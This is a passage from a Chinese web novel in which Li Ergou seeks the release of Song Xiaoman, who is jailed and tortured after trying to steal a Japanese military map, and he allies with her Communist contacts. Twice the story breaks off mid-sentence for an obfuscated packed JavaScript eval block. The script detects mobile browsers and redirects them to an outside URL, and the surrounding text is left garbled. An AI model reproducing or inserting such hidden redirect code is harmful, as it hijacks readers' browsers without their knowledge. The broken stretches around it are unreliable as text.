安排完加床的事,李二狗才来到医院对面的酒店,径直上了三楼。 敲了半天门,里面并没有回应,宋小曼并没有回来。 李二狗来到酒店大厅,等了大约一个小时,还是未见宋小曼回来。 他走到服务台,服务台的一个女服务员已经盯着李二狗很久了。 “你好,我是333房间的朋友,她还没有回来,我找她有点急事,等她回来麻烦你给这个号码打个电话好吗?” “这……,先生,您知道的,我们不能随便泄露客人的隐私,您可以留下姓名和电话,到时候我会转告给333房间的客人,您看这样可以吗?” 李二狗心想,宋小曼即使回来,也不会给自己打电话,而且他也不想让宋小曼知道自己住在吴公馆。 他从兜里掏出两块大洋,放在服务台上。 “请帮帮忙。” 服务员笑靥如花,笑容特别温暖。 “先生,请您留下电话,客人一回来我立马打给您。” “谢谢。” 李二狗留下电话,离开了酒店。 回到吴公馆,李二狗告诉佣人,如果有电话找自己,一定立刻告诉自己。 回到房间,静雯还没有下班回来。 李二狗洗了个热水澡,躺在床上,等静雯的同时也等电话。 宋小曼这么晚还没有回酒店,会不会出什么事? 迷迷糊糊中李二狗睡着了,睡梦中,酒井空一件件脱掉身上的衣服,非要和他进行深入地交流。 “不要,不要……” 李二狗喊着不要醒来,静雯正俯身看着他。 “你不要什么?吓成这个样子!” 李二狗的心还在砰砰跳个不停。 “你怎么这么晚才回来?” “最近舞厅事情比较多,我不在那里不放心。” “你总这么晚,我很心疼。” 静雯笑着俯身亲吻了李二狗的额头。 “没事,累并快乐着。” “快睡吧,很晚了!” 两人相拥而眠,李二狗鼓鼓囊囊的身体才得以释放。 第二天一早,李二狗起床来到客厅。 “昨晚没有电话找我吗?”<b ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840801|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' r>“没有!” 宋小曼彻夜未归,李二狗心神难安。 她如果只是在外边有一个相好,倒并不是什么大问题,李二狗担心她在井伊商社出事。 吃早饭的时候,吴有德问道:“二狗,看你脸色不太好,怎么了?昨晚没睡好?” 李二狗嘿嘿一笑,说道:“干爹,静雯昨晚半夜才回来,回来又忙活了一阵,确实没睡好。” 静雯喝到口里的牛奶差点喷李二狗一脸,她打了李二狗一拳,娇嗔道:“当着干爹的面,你怎么什么都说?真讨厌!” 李二狗嘿嘿一笑,说道:“干爹抱孙子心切,咱们做子女的得加倍努力才行!” 吴有德哈哈一笑,不知说什么才好。 “干爹,静雯每天凌晨一二点才下班,实在是太辛苦了。” 静雯急忙说道:“干爹别听他胡说,我可没觉得辛苦。” “你不觉得辛苦,我心疼行不行?” 吴有德顿时明白了李二狗的意思。 “静雯,我最近一直在考虑怎么安排你。” 静雯怕吴有德以为是自己撺掇李二狗说的这些话,急忙解释道:“干爹,你别听二狗胡说,我真的没觉得辛苦。” “静雯,你说得这些干爹都知道,但干爹需要你多为我分分忧,你不会不同意吧?” “我都听干爹的。” “我想好了,百乐门那边还是由你负责打理,平时让李师师在那盯着就行。” 吴有德故意看了一眼李二狗,李二狗正低着头把米汤喝得“吸溜”乱响。 “贸易行、医药公司,还有医院那边干爹以后就都不管了,交给你打理,你觉得怎么样?” 李二狗能感觉到静雯内心的兴奋,但她表面却很淡定,说道:“干爹,这么大一摊子事,我能行吗?我怕误了干爹的事。” “不行还能怎么办?要不你让二狗回来帮你?反正干爹都交给你们了,你俩看着办吧!” “干爹让你**就干呗,干不好还干不孬吗?” 静雯笑打了李二狗一拳,吴有德笑道:“我算是看明白了,二狗是一点心不想操,总想吃现成的!” “知我者干爹也!” 第189章 宋小曼去哪了 吃过早饭之后,李二狗来到医院。 胡士高还是半死不活地躺在病床上哼哼唧唧,念秋躺在床上还未起床。 听到动静,看到李二狗已经站在病床前,念秋急忙下了床。 “狗哥,你怎么来这么早?” “念秋,这床睡得还习惯吗?” “谢谢狗哥,睡得特别舒服,我还做了一个梦呢,嘻嘻。” 李二狗此时可没心情和她探讨梦境。 “念秋,三奶奶没来吗?” “没有啊,昨晚你没见到她吗?” 李二狗没有回答,说道:“那我去酒店看看。” 来到酒店,服务台的服务员已经换了班,见李二狗进来,满面笑容地向他问好。 “先生,早上好。” 李二狗点点头,没有说话便直接上了三楼。 333房间依然没有人回应。 幸好李二狗早有准备,他左右瞅了瞅,见四下无人,便从衣兜里掏出一根细铁丝,插入锁孔,轻轻转了两圈,房门便被打开了。 他进入房间,见床上被铺收拾地整整齐齐,很显然昨晚没有人住过,宋小曼确实是彻夜未归。 检查了一下宋小曼的行李,除了一些换洗的衣物,只有几本油印的小册子。 《**党宣言》《星星之火,可以燎原》《中国的红色政权为什么能够存在》《中国社会各阶级的分析》…… 李二狗随手翻了翻,并没有看明白里面写的什么意思。 宋小曼到底去哪了?这才是李二狗此刻最关心的。 出了酒店,李二狗来到井伊商社。 商社前台是一个漂亮小姑娘,看模样应该是中国人。 “先生,您好,请问您找谁?” “我找酒井空小姐。” “请您跟我来。” 小姑娘把李二狗带到一间办公室门前,敲了敲门,得到允许后,便把李二狗带了进去。 酒井空看到李二狗,脸有些泛红,眼睛里荡漾着迷蒙的潋滟水光,像一颗粉透香甜的水蜜桃。 “李先生,您怎么来了?快请坐。” 小姑娘给李二狗倒了一杯水后就离开了。 酒井空顺势坐到李二狗身旁,水葱般的手指很自然地放在李二狗的大腿上。 “二狗先生,这么快就想我了?” 一会李先生,一会二狗先生,弄得李二狗酥麻酥麻的,不得不承认,酒井空确实是一个非常迷人的女人。 李二狗从未见过一个女人能把优雅和风骚转换的如此不着痕迹。 “酒井小姐,昨晚一别,夜不能寐,不得不承认,你真是一个令人见之难忘、思之如狂的女人。” 酒井空的手指就像弹钢琴一般在李二狗的大腿间来回跳动,她的目光充满了炽热和渴望,仿佛被一种磁性的力量深深吸引。 “李先生,您这是在勾引我,我可以这样认为吗?” “酒井小姐,俗话说,酒不醉人人自醉,你再这样,我可有些把持不住了。” “李先生……您想把人家怎么样嘛?” 酒井空低沉的呢喃声极具诱惑和挑逗。 李二狗如果不是心里一直装着宋小曼的事,真想立马办了她。 他握住酒井空不安分的手指,说道:“酒井小姐,难道你就不怕有人突然闯进来吗?” 酒井空这才想起他们是在自己的办公室,她把身体坐直了一些,说道:“我的房间在二楼,我们可以到那里深入地交流交流,李先生,您意下如何?” “酒井小姐,你这是等不到天黑了吗?” 酒井空突然意识到自己在这个男人面前有些失态,这也不怪她,李二狗实在是太有魅力,女人很难抵挡住他的诱惑。 她再次坐直了自己的身体,端起茶几的茶杯递到李二狗面前,说道:“李先生,喝点茶。” 李二狗笑了笑,从酒井空的手中接过茶杯,故意抚摸了一下她嫩滑的手背。 “李先生,你真讨厌!” 李二狗眼睛一直盯着酒井空,说道:“酒井小姐,不怕你笑话,昨晚和你分别之后,我脑海里全是你的影子,差点就要回来找你。” “真的吗?”酒井空拉丝般的眼神晶莹剔透。 “当然是真的!” “幸好你没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840802|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 来,昨晚商社发生了一些事情,我一直忙到很晚。” 李二狗尽量让自己保持镇定,问道:“发生了什么事情?怪不得看你脸色有些憔悴。” “真的吗?”酒井空忍不住去抚摸自己的脸,她可不想在李二狗面前失态。 “酒井小姐天生丽质,憔悴的时候有一种慵懒的美,倒显得更有一番韵味。” “净哄我开心,李先生一看就是一个多情的男人。” 李二狗叹道:“多情总被无情恼,只希望酒井小姐不是那种无情的女人。” 酒井空深情凝视李二狗,嘴唇轻微抖动了一下,李二狗不得不吻了上去。 这一吻,深入、持久、难以自拔! “酒井小姐,你还没告诉我昨晚发生了什么事情,我很担心你。” 酒井空还在回味刚才的深吻,她面色潮红,显得意犹未尽。 “有一个中国女人在商社偷东西,被我们抓住了。” 李二狗最担心的事还是发生了,十有**被抓住的女人就是宋小曼。 “偷东西?竟有人敢到井伊商社偷东西?她偷了什么东西?” “我也不知道。” 李二狗看酒井空眼神清澈,并不像是说谎。 “这样的人就应该送到警察局,让警察好好收拾她。” “是啊,昨天晚上已经送到警察局了。” 李二狗知道,井伊商社地处城关警察局辖区,宋小曼应该被送到城关警察局了。 “酒井小姐,我还有事,我们下次再约好吗?” “李先生,你要走?” 酒井空显然没有料到李二狗要走,她以为两人此时进行深入地交流是水到渠成的事,她身体和精神都已做好了充足的准备。 “我十分舍不得离开,可我真的有十分重要的事情要办,如果今晚有时间,我再来找你好吗?” “那你今晚一定要来哦,不然人家会睡不着的。” 李二狗捏了捏她粉嘟嘟的脸颊,说道:“我怎么舍得让你等太久。” 酒井空一直把李二狗送到井伊商社门外,李二狗直接去了城关警察局。 第190章 她是我相好 “站住!你干什么的?” 警察局门口一个站岗的警察用枪挡住李二狗的去路。 李二狗知道,警察局这帮人都是一些狗眼看人低的家伙,你越对他客气,他们显得越傲慢。 他趾高气扬地说道:“我约了王副局长。” 一听说来人找王副局长,又见李二狗气度不凡,警察语气立马客气了很多。 “你叫什么,我先给王副局长通传一声。” “我叫李二狗。” 王有志听到李二狗这个名字的时候,着实吓了一跳。 上次他冒险救出李云龙,虽然赚了不少钱,但也着实吓得不轻。 虽然他并不想见李二狗,但李二狗作为吴有德的干儿子,确实能带给他实实在在的好处,把这样的财神爷挡在门外,不符合他做官的原则。 警察带着李二狗来到王有志办公室。 “王局长,好久不见。” “哈哈,李先生,别来无恙啊,”王有志当然知道李二狗是无事不登三宝殿,“请坐。” “李先生,这次找我所为何事?” 李二狗先是叹了一口气,显得十分为难。 “李先生,咱们是自己人,有话不妨明说。” 李二狗再次叹了一口气,说道:“都不知道该怎么和王局长张嘴,实在是有些说不出口。” 王有志虽然不知道李二狗葫芦里卖的什么药,但也知道他是在演戏。 “李先生,这里没有外人,有什么话你就直说吧。” “王局长,昨晚井伊商社是不是送过来一个偷东西的女人?” “偷东西的女人?我没听说啊。” 李二狗暗中观察着王有志的微表情,不像是在说谎。 “那得麻烦王局长先打电话问一下。” 王有志拿起电话,打给了拘留室。 昨晚,井伊商社果然送过来一个偷东西的女人。 “昨晚日本人确实送过来一个女人,不过,李先生今日前来是什么意思?” 李二狗再次叹了口气,掏出手绢擦了擦额头上的汗水。 “实不相瞒,王局长,那个女人是我相好。” “什么?是你相好?” 王有志微微有些吃惊,以吴有德的实力,李二狗的相好怎么会沦落到偷东西的地步? “李先生,你这话我就有点不明白了,你的相好?去井伊商社偷东西?这实在是令人匪夷所思啊。” “王局长您有所不知,那个女人叫宋小曼,是我在外边的一个相好,昨晚我和吴爷也在井伊商社,她看到我和井伊商社的酒井空小姐多说了几句话,便怀恨在心,用这种方法来报复酒井空小姐,哎,说出来真是丢人啊!” 王有志听到李二狗和酒井空的事,不怀好意地笑了笑,心想,你小子真是艳福不浅,连日本女人都能搞到手,难怪你相好怀恨在心。 “李先生,这也不是什么大事,你千万不要记在心上,女人嘛,耍耍性子哄哄也就好了。” “这次我一定不会轻饶了她,还哄她?回家先吊在梁头打一顿!” “哈哈,李先生说笑了,那么水灵灵的一个女人你舍得下手啊?哈哈!” “趁早打死算完,我也省省心。”说着李二狗从兜里掏出两根金条,放在王有志办公桌上。 “王局长,这事实在是太丢人,不过我也没有办法,总不能不管她吧?毕竟一日夫妻百日恩嘛。还请您帮帮忙,把她放出来。” 王有志瞥了一眼桌上金灿灿的金条,笑逐颜开。 “这点小事,好说好说。” 他顺手把金条收起来放在抽屉里,起身说道:“你在这坐一会,我去看看什么情况。” “王局长,拜托了,不过还请您替我保密,丢我的脸不打紧,关键还有吴爷的脸不是?” “哈哈,李先生请放心,我知道该怎么做。” 王有志去了二十多分钟才面无表情地回来。 “王局长,怎么样?” 王有志叹了一口气,说道:“李先生,这事还真有点麻烦,本来不是什么大事,但不知道为什么,日本人一直咬住不放,一定要让我们查出幕后指使之人,他们已经向省政府递交了公函。” “王局长,她只是为了泄愤,才做出这种不端之事,日本人也太小题大做了吧?” 王有志说道:“李先生,你是真不知道还是假不知道?她要偷得东西肯定是很敏感,日本人才会揪住不放,一定要让查出幕后主使。” 李二狗糊涂了,他是真不知道。 “王局长,就没有其他办法了吗?我是真看不得她在里面受苦。” 王有志眼睛下意识地看了看门后,低声说道:“李先生,实不相瞒,上边已经派了人下来,马上就到,他们怀疑她是共产党。” “什么?共产党?这怎么可能?!她不可能是共产党!” 李二狗听说过共产党,知道他们建立的队伍叫红军,李云龙就去当了红军。 这些都是男人干的事,宋小曼一个弱女人怎么可能是共产党? 这不可能! 绝对不可能! “我劝你还是不要管得好,你也知道国民政府有多恨共产党,千万别连累了你。” “王局长,如果你能把她救出来,我一定重谢。” “李先生,现在不是谢不谢的问题,是我们警察局根本就没有这个权力放人!你听哥哥一句劝,女人还不多的是,你可千万别想不开,沾染上共产党,那是要杀头的!” 听到杀头两字,李二狗吓得立马瘫坐在沙发上。 偷个东西竟然要杀头,日本人也太不讲道理了。 “王局长,能让我见她一面吗?” 王有志面露为难之色,说道:“上面派的人马上就到,现在没时间了,你晚上再过来,我想办法让你们见一面。” “那多谢王局长了,我晚上再过来。” 李二狗之所以想见宋小曼,除了担心以后没有见面的机会之外,还想问清楚她到底要偷什么,才惹得日本人如此动怒! 回到吴公馆,李二狗本想让吴有德帮忙去说服日本人不再追究,但此事关系重大,必须得先见到宋小曼弄清楚到底发生了什么事再说。 晚上,李二狗如约来到城关警察局。 “李先生,你要做好思想准备,那些人下手……挺狠的!” 李二狗没想到他们竟会对一个弱女子动手,实在是令人不齿! 第191章 探监 王有志带着李二狗来到城关警察局的拘留室。 拘留室里阴暗潮湿,一进去就闻到一股发霉的味道和血腥气息,令人窒息。 高高的室顶上,瓦数不高的电灯发出昏黄的灯光,压抑感阵阵袭来,李二狗只觉得浑身的汗毛都竖了起来。 一直走到拘留室的尽头,有一扇紧闭的铁门,门上上着锁,有两个警察在门口看守。 “把门打开!” “是,王副局长。” 铁门打开,血腥味扑面而来。 李二狗看到里面有一把木质椅子,上面坐着一个血肉模糊的人,头耷拉着,披头散发,完全看不清人的面目。 但从她的衣着打扮和身材来看,李二狗一眼认出此人正是宋小曼。 “小曼!” 李二狗立马扑上去,宋小曼听到一个熟悉的声音,艰难地抬起来,眼神里充满了惊恐和惊喜。 “怎么是……你,你……怎么来了?” 李二狗伸出颤抖的手,想去抚摸宋小曼的脸颊,却又怕弄痛了她的伤口。 他的手停在半空,心痛不已。 “小曼,让你受苦了!” 愤怒的李二狗回头怒视着王有志。 “王副局长,你们竟对一个弱女子下如此狠手,你们的良心就不会痛吗?” 王有志想到宋小曼会挨打,但没想到会被打成这样! “李先生,这和我们警察局完全没有关系,是省政府政训处那些人干的,他们实在是太过分了!” 李二狗的泪水夺眶而出,这些狗特务怎么对自己的同胞比日本人还狠! “对不起,王局长,我能单独和她说几句话吗?” 王有志说道:“李先生,你只有五分钟的时间,如果被政训处的那帮人发现,你我都得吃不了兜着走。” “谢谢!” 王有志叹息一声,转身走了出去。 李二狗来到宋小曼身边,眼角含泪,强忍心中悲痛,说道:“三奶奶,时间紧迫,咱们长话短说,我想救你出去,但是日本人现在咬住你不放,一定要揪出幕后指使之人,现在你必须告诉我,你去井伊商社是为了什么?” 宋小曼盯着李二狗的眼睛,眼神浑浊,她不知道李二狗为什么要问这个问题,也在思考李二狗值不值得相信。 “三奶奶,你放心,如果我想害你,就不会来救你,你只有告诉我真相,我才能想出救你的办法。” 宋小曼刚动了一下身子,却忍不住呻吟几声,伤口处传来一阵撕心裂肺的痛楚。 “三奶奶,你再不说,真得来不及了。” “二狗……” 这是宋小曼第一次叫他的名字,李二狗有些惊讶地看着宋小曼。 “我……不是不相信你,而是……不想连累你,你还是走吧,别管我!” “我怎么可能眼睁睁看着你去死?你告诉我,我一定会想办法救你出去。” “可是……” “没有什么可是,你既然连死都不怕,还怕告诉我真相吗?” 宋小曼心想,因为自己的失误,已经没有办法完成任务,如果李二狗能够帮助自己完成任务,也就死而无憾了。 “二狗,你……知道吗?从我第一次见你,我就知道你是一个好人!” 王有志打开铁门,催促道:“李先生,快一点,我们得走了!” “再给我一分钟!” 李二狗知道宋小曼试图在用自己的方式来打动他,但时间紧迫,这些前戏铺垫实在是太过奢侈了。 “小曼,这些话等我把你救出去再说,你快点告诉我你去井伊商社的目的。” 宋小曼用力地咬着嘴唇,最后还是决定选择相信李二狗。 “井伊商社其实是日本人在中国的特务机构,他们表面上是在中国做生意,其实是以做生意之名,对中国各地进行侦察,为以后发动侵华战争做准备。” 李二狗虽然一直怀疑井伊商社和吴有德合作的真实目的,但也没想到他们竟然是日本特务。 “那你去井伊商社是为了什么?” “他们近期刚刚绘制了一幅华北五省地形地貌图,上面不仅标注了华北五省的山川河流,还详细标注了华北各地的军事部署。” 李二狗在惊讶日本人的狼子野心时,也同样惊讶于宋小曼的身份。 “你到底是什么人?为什么要去偷这张图?” 宋小曼没有回答自己的身份,而是嘱托道:“二狗,一定不能让日本人把这张图带回日本,一定要公开揭露他们企图侵华的狼子野心。” 李二狗想不明白,日本人绘制这样一幅地图,其险恶用心,昭然若揭,为何省政府的人还会对宋小曼下如此狠手。 “小曼,你为何不把这件事的真相告诉省政府的人?” 宋小曼冷笑一声,说道:“省政府那些人恨我们甚于恨日本人,关键现在我并没有抓住日本人的把柄,我说什么他们都不会相信的,而且如果我说出来还会打草惊蛇,如果引起日本人的警觉,再想得到那张图就更难了。” “你知道那张图藏在什么地方吗?” “不知道,昨天晚上,我刚刚潜入明石有信的办公室就被发现了,如果我猜得没错,那张图一定藏在他的办公室里。” 李二狗此时已经隐约猜到了宋小曼的身份。 “你在省城是不是有同伙?” 宋小曼有些惊讶地看着李二狗,看来以前她真是小瞧他了。 李二狗从她的眼神里已经得到了肯定的答案。 “告诉我怎么找到他们,我需要有人配合来救你。 宋小曼说道:“中华大街9号有一家书店,你去书店,对伙计说你要买中华书局出版的红楼梦。” 李二狗没想到接头暗号竟如此简单,如果真有人去买中华书局出版的红楼梦怎么办?实在是太草率了! 宋小曼挤出一丝微笑,仿佛看穿了李二狗的心思。 “放心,中华书局没有出版过红楼梦。” “李先生,我们该走了!” 王有志再次推门进来催促。 “你保重,小曼,我会尽快救你出去。” 宋小曼和李二狗此前接触并不多,她没想到李二狗会为了救自己,甘愿以身犯险。 “谢谢你。” 第192章 你身上怎么有血 李二狗跟着王有志快步走出拘留室。 “王局长,今晚的事,谢谢你。” 王有志盯着李二狗,特意提醒道:“李先生,我奉劝你千万不要有劫狱的念头,这件事绝无可能!” 李二狗冷笑道:“王局长,请您放心,无论我做什么,绝不会连累你。” “李先生,千万不要因为一时冲动,丢了自己的性命,我建议你可以回去找吴爷想想办法。” “王局长,谢谢您的提醒,告辞!” 李二狗回到吴公馆,吴有德应酬还没有回来,静雯正坐在院子里看月亮。 “你回来了?一晚上都去哪了?” 李二狗给了静雯一个大大的拥抱,说道:“我一直在医院,胡老爷情况很不好,干爹怎么这么晚还没回来,和谁应酬的?” 静雯说道:“好像是和运河帮的人。” 运河帮,对李二狗来说,并不是一个陌生的名字。 吴有德天天游走在日本人、运河帮、省政府、警察局这些形形色色的人当中,李二狗很为他的安全担忧。 “啊!你身上怎么有血?哪里受伤了?”静雯惊呼道。 李二狗低头一看,衣服上确实有一片血渍,应该是刚才不小心碰到了宋小曼身上的血。 “别一惊一乍的,我没事,这不是我的血。” “那是谁的血?” “胡老爷吐了血,不小心沾在了我身上,我上楼去洗个澡,别弄你身上。” “我去给你放热水。” 李二狗坐在浴缸中,思索着如何才能救出宋小曼。 她在里面多待一分钟,就会多受一分钟的折磨,李二狗的心也会跟着受折磨。 也许是太过劳累的原因,李二狗竟在浴缸中睡着了。 静雯见李二狗一直不出来,就在门口喊了两声,里面并没有回应。 她赶紧推门而入,发现李二狗双目紧闭,鼻腔里发出一阵轻微的鼾声。 静雯笑了笑,准备去叫醒他,浴缸里清澈见底,她顿时羞红了脸。 “二狗,醒醒,这里不能睡,会着凉的。” 李二狗醒来,看到静雯娇红的脸庞正对着自己,呼出的气息带着温热扑到自己脸上,他忍不住亲了一下她的额头。 “我们去床上睡吧……” 第二天,李二狗和静雯早早便来到餐厅等候吴有德一起吃早饭。 佣人把早饭端到桌上后,说道:“李先生,静雯小姐,你们先吃吧,吴爷昨晚没有回来。” “吴爷晚上经常不回来住吗?” “有时候喝多了酒,也会住在外边。” 李二狗和静雯吃过早饭,静雯准备去公司上班。 “二狗,你今天什么安排?要是用车的话我把车留给你。” 李二狗自己不会开车,并不想有司机跟着自己。 “我今天还是去医院,和医生商量一下胡老爷的治疗方案,用不着车,还是你用吧。” 静雯此时盼望着胡士高可以多活一段时间,这样李二狗就可以多留在省城一段时间。 “胡老爷的事,你不用太担心,我已经特意给郑院长交代过了。” “你办事我总是放心的,”李二狗亲吻了一下静雯的额头,“到了公司注意休息,别累着。” 静雯羞涩一笑,说道:“放心吧,在公司上班可比在家轻松多了。” “今晚回来,我多出点力,嘿嘿。” 两人嬉闹着一起出了门。 李二狗按照宋小曼提供的地址来到中华大街9号,果然是一家书店。 书店面积并不大,一个掌柜模样的人正在柜台擦拭桌子。 “先生,买书吗?” 李二狗回头看了看店外,才走到柜台前,低声问道:“有中华书局出版的红楼梦吗?” 书店掌柜大吃一惊。 “是宋小曼叫我来的。” 掌柜从柜台走出来,警惕地观察着书店外面,确认没有异常情况后,才说道:“跟我到后面。” “你是什么人?你怎么认识宋小曼?” 李二狗说道:“宋小曼是我们胡家大院的三姨太,我是胡家大院管家李二狗。” “李先生,她现在怎么样?” “她现在的情况很不好,人被关在城关警察局的拘留室,省政府政训处的特务对她用了酷刑。” “这些狗特务,只会窝里横!” “请问老板怎么称呼?” “你叫我老王吧,李先生,宋小曼让你到这里来找我,她有让你带回什么消息吗?” “没有,她只是为自己没有完成你们交给她的任务而感到深深地自责。” “宋小曼同志此前虽然和组织失去了一段时间的联系,但实践证明她是一位好同志,我们一定要把她救出来。” 这是李二狗第一次听到“同志”这个词,他竟感到无比的亲切。 “现在日本人给省政府施压,要求揪出幕后指使之人,省政府政训处已经怀疑她是共产党,想把她救出来,实在是太难了!” 老王说道:“李先生,小曼同志选择相信你,说明你是一位值得信赖的人,实不相瞒,我们就是共产党。” 李二狗其实并不关心他们到底是什么人,他只想救出宋小曼,那是他心里的白月光,他不能眼睁睁地看着她被摧残。 “老王,如果你真的相信我,还请如实告知你们偷取华北五省地形地貌图的真实目的。” 李二狗一直想不明白,中国现在是国民政府执政,挫败日本人的侵华阴谋不应该是他们的事情吗? 共产党冒着生命危险操这个闲心到底是图什么? 老王仿佛猜到了李二狗的心思,他说道:“李先生,说到底中国不只是国民党一家的中国,它是我们大家共同的中国,每一个中国人都有责任和义务来反抗日本的侵略。” 李二狗对老王的话肃然起敬! “老王,听君一席话,胜读十年书,我李二狗佩服你们共产党人的爱国情怀,我去帮你们把地图偷出来。” 老王没有想到李二狗竟会答应帮助他们去偷取华北五省地形地貌图。 “李先生,我佩服你的勇气,可想从日本人那里把地图偷出来,绝非易事,很可能会丢掉性命,你不是我们组织的人,我看你还是不要参与了。” “你刚才不说了吗?中国是我们大家的中国,我也有责任和义务来保卫它!” “李先生的话真是令人肃然起敬!只是不知道李先生可否有了具体的计划?” 第193章 带刺的玫瑰 其实李二狗并没有想好如何偷取华北五省地形地貌图,更没有想好如何把宋小曼解救出来。 他只是觉得这些事必须有人去做。 “老王,你放心,我会尽快把地形地貌图偷出来交到你手上,另外……”李二狗犹豫了一下,还是说道:“我建议这两天你还是先撤离这个书店,虽然我们都相信宋小曼的人品,但政训处的酷刑不是谁都能抗住,毕竟她只是一个柔弱的女人。” 老王眼神坚定,斩钉截铁地说道:“女本柔弱,有信仰则刚,我相信宋小曼同志的信仰。” 信仰?这对李二狗来说又是一个新词。 有了信仰,皮鞭抽打在身上就不疼了吗?辣椒水灌进胃里就不辣吗? 人毕竟是血肉之躯,又怎么能扛得住老虎凳、辣椒水和烧的通红通红的烙铁! “老王,为了安全起见,我还是建议暂时撤离。” 老王不想再和李二狗争论,便说道:“李先生,谢谢你的提醒,我会妥善安排的。” 见老王这个态度,李二狗也不好再说什么,只是心中暗自提醒自己,下次再来一定要提高警惕,这个老王做事太不严谨! “老王,那我先回去了,有了结果我会第一时间联系你。” 李二狗离开书店,便去了医院。 念秋见到李二狗如同见到了救星。 “狗哥,你终于来了,三奶奶一直没回来,我都快急死了。” “我来就是告诉你,三奶奶临时有点私事,这两天就先不过来了。” 念秋虽然怀疑李二狗的话,但作为丫鬟,她知道自己的地位,也不好多问。 “刚才有个漂亮女人来找你,我说你还没有过来。” 李二狗知道这个女人肯定是静雯,这也是他赶到医院的主要原因。 “她是医院领导,来商量老爷的治疗方案,我出去看看。” 李二狗也不知道自己为什么要和念秋解释这些,也许只是不想让她胡思乱想。 来到院长办公室,静雯果然在里面。 “二狗,你去哪了?” “我出去买了点东西,你怎么来了?我来找郑院长商量一下胡老爷的治疗方案。” 李二狗及时转移了话题,静雯也不好再追问。 郑长寿说道:“李先生,静雯经理已经交代过了,我们医院肯定会全力以赴,只是胡老爷这病早已病入膏肓,我们尽量减少他的痛苦吧。” “郑院长,感谢,我代表胡家大院感谢你。” 李二狗看向静雯,问道:“我还要回病房,你在待一会?” 静雯来医院就是为了找李二狗,没想到他竟然不在医院。 “我和你一起走。” 出了院长办公室,静雯质问道:“你给我说实话,你上午去哪了?” 李二狗正为宋小曼的事发愁,听到静雯的质问,便没好气地说道:“是不是我去趟厕所也得提前和你报告?” 静雯愣在原地,眼泪流得哗哗的。 李二狗顿时慌了神。 “对不起静雯,是我说错话了,你别哭啊,你一哭我心都碎了。” 静雯边哭边说道:“你要是烦我讨厌我就告诉我,我一定不会缠着你。” 李二狗顾不得医院里人来人往,把静雯搂在怀中。 “静雯,我怎么会烦你呢?和你说实话吧,今天早上出门不久,我便遇到了运河帮的一个人,那人看我的眼神让我不得不提高警惕,为了避免不必要的麻烦我就没有来医院,而是把他引到某个隐蔽处,干掉了他!” 静雯吓得浑身一激灵,李二狗杀死运河帮马五爷的事一直悬在她心里,总担心哪天会东窗事发。 “二狗,这些天你还是尽量少出门,等办完了事还是先离开省城吧。” 李二狗问道:“不生气了?” “哼,你真讨厌!” 两个人腻腻歪歪,毫不顾忌周围人异样的眼神。 “静雯,今天晚上我不能回去陪你了,陪床的丫鬟身体不舒服,三姨太又根本指望不上,今天晚上我得在医院守着。” “还是我安排两个人来医院伺候胡老爷吧?我不想你这么辛苦。” “不用,胡老爷的事是胡家大院的私事,你安排干爹的人过来不合规矩,干爹嘴上不说,心里再不高兴埋怨我们。” “那我来陪你一起。” “怎么?一晚上都忍不了吗?这里可没有合适的地方,哈哈。” “你讨厌死了!” “好了,医院这边脏兮兮的,你还是尽量少过来。” 安抚完静雯,静雯便离开了医院,李二狗待在医院里想对策,他需要一个安静的环境。 “酒井小姐吗?我是李二狗。” 听到是李二狗,酒井空握着电话的手都有些颤动。 “二狗先生,找我什么事?你要请我吃饭吗?” “那是我的荣幸,只是不知道酒井小姐今晚有没有时间?” “二狗先生请客当然有。” “今晚七点,你们商社东边的京都料理店,我们不见不散!” “不见不散。” 晚上七点钟,李二狗已经站在京都料理店门口等候。 酒井空特意穿了一件酒红色修身旗袍,就像一只暗夜里翩翩欲舞的红色蝴蝶。 她高挽着发髻,身材凹凸妙曼,迈着不紧不慢的小碎步,浑身散发着暧昧的诱惑。 “酒井小姐,你今晚可真美。” 酒井空莞尔一笑,带着日本女人特有的羞涩,说道:“二狗先生,我只有今晚才美吗?” “当然不是,酒井小姐无时无刻不散发着迷人的魅力,只是今晚更加夺人心魄。” “二狗先生的嘴骗人的鬼,我才不会相信,嘻嘻。” 酒井空很自然地挽起李二狗的胳膊,两人一起走进了料理店。 “酒井小姐,你来点菜吧,实不相瞒,我这是第一次来日式料理店。” 酒井空笑道:“二狗先生的第一次给了我,我真的很荣幸。” “我的第一次给了你应该是我的荣幸的才对,酒井小姐别嫌弃我青涩就好。” 酒井空舌头轻轻舔舐了一下嘴唇,拉丝般的眼神直视李二狗。 “我喜欢青涩,就像柠檬,上面有一股阳光的味道。” “比起青涩的柠檬,我更喜欢带刺的玫瑰。” 第194章 洪荒之力 “带刺的玫瑰?二狗先生就不怕被上面的刺扎伤吗?” “玫瑰花瓣柔软且丰满,即使被扎的鲜血淋淋我也心向往之。” “二狗先生还真有牡丹花下死,做鬼也风流的古人风范。” “哈哈,喝日本酒,做风流人,酒井小姐可不要笑话我啊。” 几杯清酒下肚,酒井空脸色绯红,更添几分神韵。 一个穿着和服的女服务员跪在桌前上菜,态度极其恭敬。 李二狗笑道:“酒井小姐,我一直想不明白,为何你们日本女人穿的和服后面都有一个小被子,是为了方便吗?” 酒井空一口清酒喷到李二狗脸上。 